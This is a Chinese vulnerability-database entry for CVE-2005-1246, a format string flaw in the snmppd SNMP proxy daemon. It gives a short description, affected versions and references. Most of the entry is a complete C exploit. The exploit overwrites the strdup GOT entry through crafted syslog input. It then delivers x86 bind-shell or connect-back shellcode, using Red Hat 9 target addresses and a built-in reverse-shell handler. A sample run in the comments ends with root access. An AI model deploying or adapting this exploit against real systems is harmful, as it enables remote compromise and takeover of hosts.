snmppd snmppd_util.c格式化字符串漏洞

漏洞ID	1108731	漏洞类型	格式化字符串
发布时间	2005-04-29	更新时间	2005-04-29
CVE编号	CVE-2005-1246	CNNVD-ID	CNNVD-200504-088
漏洞平台	Linux	CVSS评分	10.0

|漏洞来源

https://www.exploit-db.com/exploits/970
https://www.securityfocus.com/bid/90076
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200504-088

|漏洞详情

Snmppd是SNMP代理守护程序。用于snmppd0.4.5及更早版本的snmppd_util.c的snmppd_log函数存在格式化字符串漏洞，远程攻击者可以通过在syslog调用中未正确处理的格式化字符串说明符来发起拒绝服务攻击或执行任意代码。

|漏洞EXP

/*
 * Snmppd SNMP proxy daemon format string exploit
 *
 * cybertronic[at]gmx[dot]net 
 *
 * 04/29/2005
 *
 * buffer space is 1024 bytes ( MAX_SNMPPD_OID_LEN defined in snmppd-0.4.5/snmppd.h )
 *
 * Apr 29 16:01:31 ctronic snmppd[6274]: fd 5: Request: XAAAA_804a81e.bfffb9d4.0.0.0.0.35206466.6552203a.73657571.58203a74.41414141
 *
 * This is annoying... there is no fixed input storage.
 * Buffer`s location sometimes varies for 0x980 bytes.
 * Below is a short dump. I highjacked the GOT entry
 * of strdup. Maybe there are some fixed pointers for
 * reliable exploitation. Drop me an email if you have
 * any suggestions
 *
 *
 * __strdup
 *
 * 0xbfffb450:     0x906e6824      0x90909090      0x90909090      0x90909090
 * 0xbfffb460:     0x90909090      0x90909090      0x90909090      0x90909090
 * 0xbfffb470:     0x90909090      0x90909090      0x90909090      0x90909090
 *
 * 0xbfffb3d0:     0x906e6824      0x90909090      0x90909090      0x90909090
 * 0xbfffb3e0:     0x90909090      0x90909090      0x90909090      0x90909090
 * 0xbfffb3f0:     0x90909090      0x90909090      0x90909090      0x90909090
 *
 * 0xbfffb6d0:     0x906e6824      0x90909090      0x90909090      0x90909090
 * 0xbfffb6e0:     0x90909090      0x90909090      0x90909090      0x90909090
 * 0xbfffb6f0:     0x90909090      0x90909090      0x90909090      0x90909090
 *
 * 0xbfffbdd0:     0x906e6824      0x90909090      0x90909090      0x90909090
 * 0xbfffbde0:     0x90909090      0x90909090      0x90909090      0x90909090
 * 0xbfffbdf0:     0x90909090      0x90909090      0x90909090      0x90909090
 *
 * 0xbfffc750:     0x906e6824      0x90909090      0x90909090      0x90909090
 * 0xbfffc760:     0x90909090      0x90909090      0x90909090      0x90909090
 * 0xbfffc770:     0x90909090      0x90909090      0x90909090      0x90909090
 *
 * 0804b1a0 R_386_JUMP_SLOT   malloc
 * 0804b210 R_386_JUMP_SLOT   memset
 * 0804b1fc R_386_JUMP_SLOT   __strdup
 *
 * I succeeded on my third try with the same ret:
 *
 *               __              __                   _
 *   _______  __/ /_  ___  _____/ /__________  ____  (_)____
 *  / ___/ / / / __ / _ / ___/ __/ ___/ __ / __ / / ___/
 * / /__/ /_/ / /_/ /  __/ /  / /_/ /  / /_/ / / / / / /__
 * ___/__, /_.___/___/_/   __/_/   ____/_/ /_/_/___/
 *     /____/
 *                                                                                                            
 * --[ exploit by : cybertronic - cybertronic[at]gmx[dot]net
 * --[ connecting to localhost:164...done!
 * --[ select shellcode
 *      |
 *      |- [0] bind
 *      `- [1] cb
 * >> 0
 * --[ using bind shellcode
 * --[ GOT: 0x0804b1fc
 * --[ RET: 0xbfffc750
 * --[ sending packet [ 1023 bytes ]...done!
 * --[ sleeping 5 seconds before connecting to localhost:20000...
 * --[ connecting to localhost:20000...done!
 * --[ b0x pwned - h4ve phun
 * id
 * uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
 *
 *
 */

#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <unistd.h>

#define NOP     0x90

#define RED     "E[31mE[1m"
#define GREEN   "E[32mE[1m"
#define YELLOW  "E[33mE[1m"
#define BLUE    "E[34mE[1m"
#define NORMAL  "E[m"

int connect_to_remote_host ( char* tip, unsigned short tport );
int exploit ( int s, unsigned long smashaddr, unsigned long writeaddr, char* cbip );
int isip ( char *ip );
int shell ( int s, char* tip );
int usage ( char* name );

void start_reverse_handler ( unsigned short cbport );
void connect_to_bindshell ( char* tip, unsigned short bport );
void header ();
void wait ( int sec );

/***********************
 * Linux x86 Shellcode *
 ***********************/

//131 bytes connect back port: 45295
char reverseshell[] =
"x31xc0x31xdbx31xc9x51xb1"
"x06x51xb1x01x51xb1x02x51"
"x89xe1xb3x01xb0x66xcdx80"
"x89xc2x31xc0x31xc9x51x51"
"x68x41x42x43x44x66x68xb0"
"xefxb1x02x66x51x89xe7xb3"
"x10x53x57x52x89xe1xb3x03"
"xb0x66xcdx80x31xc9x39xc1"
"x74x06x31xc0xb0x01xcdx80"
"x31xc0xb0x3fx89xd3xcdx80"
"x31xc0xb0x3fx89xd3xb1x01"
"xcdx80x31xc0xb0x3fx89xd3"
"xb1x02xcdx80x31xc0x31xd2"
"x50x68x6ex2fx73x68x68x2f"
"x2fx62x69x89xe3x50x53x89"
"xe1xb0x0bxcdx80x31xc0xb0"
"x01xcdx80";

//92 bytes bindcode port: 20000
char bindshell[] =
"x31xdb"				// xor ebx, ebx
"xf7xe3"				// mul ebx
"xb0x66"				// mov al, 102
"x53"					// push ebx
"x43"					// inc ebx
"x53"					// push ebx
"x43"					// inc ebx
"x53"					// push ebx
"x89xe1"				// mov ecx, esp
"x4b"					// dec ebx
"xcdx80"				// int 80h
"x89xc7"				// mov edi, eax
"x52"					// push edx
"x66x68x4ex20"			// push word 8270
"x43"					// inc ebx
"x66x53"				// push bx
"x89xe1"				// mov ecx, esp
"xb0xef"				// mov al, 239
"xf6xd0"				// not al
"x50"					// push eax
"x51"					// push ecx
"x57"					// push edi
"x89xe1"				// mov ecx, esp
"xb0x66"				// mov al, 102
"xcdx80"				// int 80h
"xb0x66"				// mov al, 102
"x43"					// inc ebx
"x43"					// inc ebx
"xcdx80"				// int 80h
"x50"					// push eax
"x50"					// push eax
"x57"					// push edi
"x89xe1"				// mov ecx, esp
"x43"					// inc ebx
"xb0x66"				// mov al, 102
"xcdx80"				// int 80h
"x89xd9"				// mov ecx, ebx
"x89xc3"				// mov ebx, eax
"xb0x3f"				// mov al, 63
"x49"					// dec ecx
"xcdx80"				// int 80h
"x41"					// inc ecx
"xe2xf8"				// loop lp
"x51"					// push ecx
"x68x6ex2fx73x68"			// push dword 68732f6eh
"x68x2fx2fx62x69"			// push dword 69622f2fh
"x89xe3"				// mov ebx, esp
"x51"					// push ecx
"x53"					// push ebx
"x89xe1"				// mov ecx, esp
"xb0xf4"				// mov al, 244
"xf6xd0"				// not al
"xcdx80";				// int 80h

typedef struct _args {
	char* tip;
	char* lip;
    int tport;
	int target;
} args;

struct targets {
	int  num;
	unsigned long smashaddr;
	unsigned long writeaddr;
	char name[64];
}

target[]= {
	{ 0, 0x0804b1fc, 0xbfffb3d0, "Red hat Linux 9 ( Shrike ) Kernel 2.4.20-8 i686" }, //Red hat Linux release 9 ( Shrike ) Kernel 2.4.20-8 on an i686
	{ 1, 0x0804b1fc, 0xbfffb6d0, "Red hat Linux 9 ( Shrike ) Kernel 2.4.20-8 i686" }, //Red hat Linux release 9 ( Shrike ) Kernel 2.4.20-8 on an i686
	{ 2, 0x0804b1fc, 0xbfffbde0, "Red hat Linux 9 ( Shrike ) Kernel 2.4.20-8 i686" }, //Red hat Linux release 9 ( Shrike ) Kernel 2.4.20-8 on an i686
	{ 3, 0x0804b1fc, 0xbfffc750, "Red hat Linux 9 ( Shrike ) Kernel 2.4.20-8 i686" }, //Red hat Linux release 9 ( Shrike ) Kernel 2.4.20-8 on an i686
	{ 4, 0xdeadc0de, 0xdeadc0de, "description" }, //add more targets if needed
};

int
connect_to_remote_host ( char* tip, unsigned short tport )
{
	int s;
	struct sockaddr_in remote_addr;
	struct hostent* host_addr;

    memset ( &remote_addr, 0x0, sizeof ( remote_addr ) );
    if ( ( host_addr = gethostbyname ( tip ) ) == NULL )
	{
		printf ( "cannot resolve "%s"n", tip );
		exit ( 1 );
	}
    remote_addr.sin_family = AF_INET;
    remote_addr.sin_port = htons ( tport );
    remote_addr.sin_addr = * ( ( struct in_addr * ) host_addr->h_addr );
    if ( ( s = socket ( AF_INET, SOCK_STREAM, 0 ) ) < 0 )
    {
		printf ( "socket failed!n" );
		exit ( 1 );
	}
	printf ( "--[ connecting to %s:%u...", tip, tport  );
	if ( connect ( s, ( struct sockaddr * ) &remote_addr, sizeof ( struct sockaddr ) ) ==  -1 )
	{
		printf ( "failed!n" );
		exit ( 1 );
	}
	printf ( "done!n" );
	return ( s );
}

int

exploit ( int s, unsigned long smashaddr, unsigned long writeaddr, char* cbip )
{
	char buffer[1024];
	char a, b, c, d;
	unsigned int low, high;
	unsigned long ulcbip;

	printf ( "--[ GOT: 0x%08xn", smashaddr );
	printf ( "--[ RET: 0x%08xn", writeaddr );

	a = ( smashaddr & 0xff000000 ) >> 24;
	b = ( smashaddr & 0x00ff0000 ) >> 16;
	c = ( smashaddr & 0x0000ff00 ) >> 8;
	d = ( smashaddr & 0x000000ff );

	high = ( writeaddr & 0xffff0000 ) >> 16;
	low  = ( writeaddr & 0x0000ffff );

  	bzero ( &buffer, sizeof ( buffer ) );
	if ( high < low )
	{
		sprintf ( buffer,
		"X%c%c%c%c"
		"%c%c%c%c"
		"%%.%uu%%11$hn"
		"%%.%uu%%12$hn",

		d + 2, c, b, a,
		d,     c, b, a,
		high - 24,
		low - high );
	}
	else
	{
		sprintf ( buffer,
		"X%c%c%c%c"
		"%c%c%c%c"
		"%%.%uu%%12$hn"
		"%%.%uu%%11$hn",

		d + 2, c, b, a,
		d,     c, b, a,
		low -24,
		high - low );
	}
  	memset ( buffer + strlen ( buffer ), NOP, sizeof ( buffer ) - strlen ( buffer ) - 3 );
	if ( cbip == NULL )
		memcpy ( buffer + sizeof ( buffer ) - sizeof ( bindshell ) - 3, bindshell, sizeof ( bindshell ) -1 );
	else
	{
		ulcbip = inet_addr ( cbip );
		memcpy ( &reverseshell[33], &ulcbip, 4 );
		memcpy ( buffer + sizeof ( buffer ) - sizeof ( reverseshell ) - 3, reverseshell, sizeof ( reverseshell ) -1 );
	}
	strncat ( buffer, "rn", 2 );

	printf ( "--[ sending packet [ %u bytes ]...", strlen ( buffer ) );
	if ( write ( s, buffer, strlen ( buffer ) ) <= 0 )
	{
		printf ( "failed!n" );
		return ( 1 );
	}
	printf ( "done!n"  );

	return ( 0 );
}

int
isip ( char *ip )
{
	int a, b, c, d;

	if ( !sscanf ( ip, "%d.%d.%d.%d", &a, &b, &c, &d ) )
		return ( 0 );
	if ( a < 1 )
		return ( 0 );
	if ( a > 255 )
		return 0;
	if ( b < 0 )
		return 0;
	if ( b > 255 )
		return 0;
	if ( c < 0 )
		return 0;
	if ( c > 255 )
		return 0;
	if ( d < 0 )
		return 0;
	if ( d > 255 )
		return 0;
	return 1;
}

int
shell ( int s, char* tip )
{
	int n;
	char buffer[2048];
	fd_set fd_read;

	printf ( "--[" YELLOW " b" NORMAL "0" YELLOW "x " NORMAL "p" YELLOW "w" NORMAL "n" YELLOW "e" NORMAL "d " YELLOW "- " NORMAL "h" YELLOW "4" NORMAL "v" YELLOW "e " NORMAL "p" YELLOW "h" NORMAL "u" YELLOW "n" NORMAL "n" );

	FD_ZERO ( &fd_read );
	FD_SET ( s, &fd_read );
	FD_SET ( 0, &fd_read );

	while ( 1 )
	{
		FD_SET ( s, &fd_read );
		FD_SET ( 0, &fd_read );

		if ( select ( s + 1, &fd_read, NULL, NULL, NULL ) < 0 )
			break;
		if ( FD_ISSET ( s, &fd_read ) )
		{
			if ( ( n = recv ( s, buffer, sizeof ( buffer ), 0 ) ) < 0 )
			{
				printf ( "bye bye...n" );
				return;
			}
			if ( write ( 1, buffer, n ) < 0 )
			{
				printf ( "bye bye...n" );
				return;
			}
		}
		if ( FD_ISSET ( 0, &fd_read ) )
		{
			if ( ( n = read ( 0, buffer, sizeof ( buffer ) ) ) < 0 )
			{
				printf ( "bye bye...n" );
				return;
			}
			if ( send ( s, buffer, n, 0 ) < 0 )
			{
				printf ( "bye bye...n" );
				return;
			}
		}
		usleep(10);
	}
}

int
usage ( char* name )
{
	int i;

	printf ( "n" );
	printf ( "Note: all switches have to be specified!n" );
	printf ( "You can choose between bind and cb shellcode later!n" );
	printf ( "n" );
	printf ( "Usage: %s -h <tip> -p <tport> -l <cbip> -t <target>n", name );
  	printf ( "n" );
	printf ( "Targetsnn" );
	for ( i = 0; i < 5; i++ )
		printf ( "t[%d] [0x%08x] [0x%08x] [%s]n", target[i].num, target[i].smashaddr, target[i].writeaddr, target[i].name );
	printf ( "n" );
    exit ( 1 );
}

void
connect_to_bindshell ( char* tip, unsigned short bport )
{
	int s;
	int sec = 5; // change this for fast targets
	struct sockaddr_in remote_addr;
	struct hostent *host_addr;

	if ( ( host_addr = gethostbyname ( tip ) ) == NULL )
	{
		fprintf ( stderr, "cannot resolve "%s"n", tip );
		exit ( 1 );
	}

	remote_addr.sin_family = AF_INET;
	remote_addr.sin_addr   = * ( ( struct in_addr * ) host_addr->h_addr );
	remote_addr.sin_port   = htons ( bport );

	if ( ( s = socket ( AF_INET, SOCK_STREAM, 0 ) ) < 0 )
    {
		printf ( "socket failed!n" );
		exit ( 1 );
	}
	printf ("--[ sleeping %d seconds before connecting to %s:%u...n", sec, tip, bport );
	wait ( sec );
	printf ( "--[ connecting to %s:%u...", tip, bport );
	if ( connect ( s, ( struct sockaddr * ) &remote_addr, sizeof ( struct sockaddr ) ) ==  -1 )
	{
		printf ( RED "failed!n" NORMAL);
		exit ( 1 );
	}
	printf ( YELLOW "done!n" NORMAL);
	shell ( s, tip );
}

void
header ()
{
	printf ( "              __              __                   _           n" );
	printf ( "  _______  __/ /_  ___  _____/ /__________  ____  (_)____      n" );
	printf ( " / ___/ / / / __ \/ _ \/ ___/ __/ ___/ __ \/ __ \/ / ___/  n" );
	printf ( "/ /__/ /_/ / /_/ /  __/ /  / /_/ /  / /_/ / / / / / /__        n" );
	printf ( "\___/\__, /_.___/\___/_/   \__/_/   \____/_/ /_/_/\___/  n" );
	printf ( "    /____/                                                     nn" );
	printf ( "--[ exploit by : cybertronic - cybertronic[at]gmx[dot]netn" );
}

void
parse_arguments ( int argc, char* argv[], args* argp )
{
	int i = 0;

	while ( ( i = getopt ( argc, argv, "h:p:l:t:" ) ) != -1 )
	{
		switch ( i )
		{
			case 'h':
				argp->tip = optarg;
				break;
			case 'p':
				argp->tport = atoi ( optarg );
				break;
			case 'l':
				argp->lip = optarg;
				break;
			case 't':
                argp->target = strtoul ( optarg, NULL, 16 );
	            break;
			case ':':
			case '?':
			default:
				usage ( argv[0] );
	    }
    }

    if ( argp->tip == NULL || argp->tport < 1 || argp->tport > 65535 || argp->lip == NULL ||  argp->target < 0 || argp->target > 4 )
		usage ( argv[0] );
}

void
start_reverse_handler ( unsigned short cbport )
{
	int s1, s2;
	struct sockaddr_in cliaddr, servaddr;
	socklen_t clilen = sizeof ( cliaddr );

	bzero ( &servaddr, sizeof ( servaddr ) );
	servaddr.sin_family = AF_INET;
	servaddr.sin_addr.s_addr = htonl ( INADDR_ANY );
	servaddr.sin_port = htons ( cbport );

	printf ( "--[ starting reverse handler [port: %u]...", cbport );
	if ( ( s1 = socket ( AF_INET, SOCK_STREAM, 0 ) ) == -1 )
	{
		printf ( "socket failed!n" );
		exit ( 1 );
	}
	bind ( s1, ( struct sockaddr * ) &servaddr, sizeof ( servaddr ) );
	if ( listen ( s1, 1 ) == -1 )
	{
		printf ( "listen failed!n" );
		exit ( 1 );
	}
	printf ( "done!n" );
	if ( ( s2 = accept ( s1, ( struct sockaddr * ) &cliaddr, &clilen ) ) < 0 )
	{
		printf ( "accept failed!n" );
		exit ( 1 );
	}
	close ( s1 );
	printf ( "--[ incomming connection from:t%sn", inet_ntoa ( cliaddr.sin_addr ) );
	shell ( s2, ( char* ) inet_ntoa ( cliaddr.sin_addr ) );
	close ( s2 );
}

void
wait ( int sec )
{
	sleep ( sec );
}

int
main ( int argc, char* argv[] )
{
	int s, option;
	args myargs;

	system ( "clear" );
	header ();
	parse_arguments ( argc, argv, &myargs );
	s = connect_to_remote_host ( myargs.tip, myargs.tport );

	printf ( "--[ select shellcoden" );
	printf ( "     |n" );
	printf ( "     |- [0] bindn" );
	printf ( "     `- [1] cbn" );
	printf ( ">> " );
	scanf ( "%d", &option );
	switch ( option )
		{
			case 0:
				printf ( "--[ using bind shellcoden" );
				if ( exploit ( s, target[myargs.target].smashaddr, target[myargs.target].writeaddr, NULL ) == 1 )
				{
					printf ( "exploitation failed!n" );
					exit ( 1 );
				}
				connect_to_bindshell ( myargs.tip, 20000 );
				break;
			case 1:
				printf ( "--[ using cb shellcoden" );
				if ( exploit ( s, target[myargs.target].smashaddr, target[myargs.target].writeaddr, myargs.lip ) == 1 )
				{
					printf ( "exploitation failed!n" );
					exit ( 1 );
				}
				start_reverse_handler ( 45295 );
				break;
			default:
				printf ( "--[ invalid shellcode!n" ); exit ( 1 );
	    }
	close ( s );
	return 0;
}

// milw0rm.com [2005-04-29]

|受影响的产品

Vladislav Bogdanov Snmppd 0.4.5

Vladislav Bogdanov Snmppd 0.4.4

Vladislav Bogdanov Snmppd 0.4.3

Vladislav Bogdanov Snmppd 0.4.2

Vladislav Bogdanov Snmppd 0.4.3 Special

|参考资料

来源:MISC
链接:http://x82.inetcop.org/h0me/adv1sor1es/INCSA.2005-0x82-027-SNMPPD.txt
来源:VULNWATCH
名称:20050425[INetCopSecurityAdvisory]Snmppdpotentiallyformatstringvulnerability.
链接:http://archives.neohapsis.com/archives/vulnwatch/2005-q2/0022.html
来源:SECUNIA
名称:15120
链接:http://secunia.com/advisories/15120

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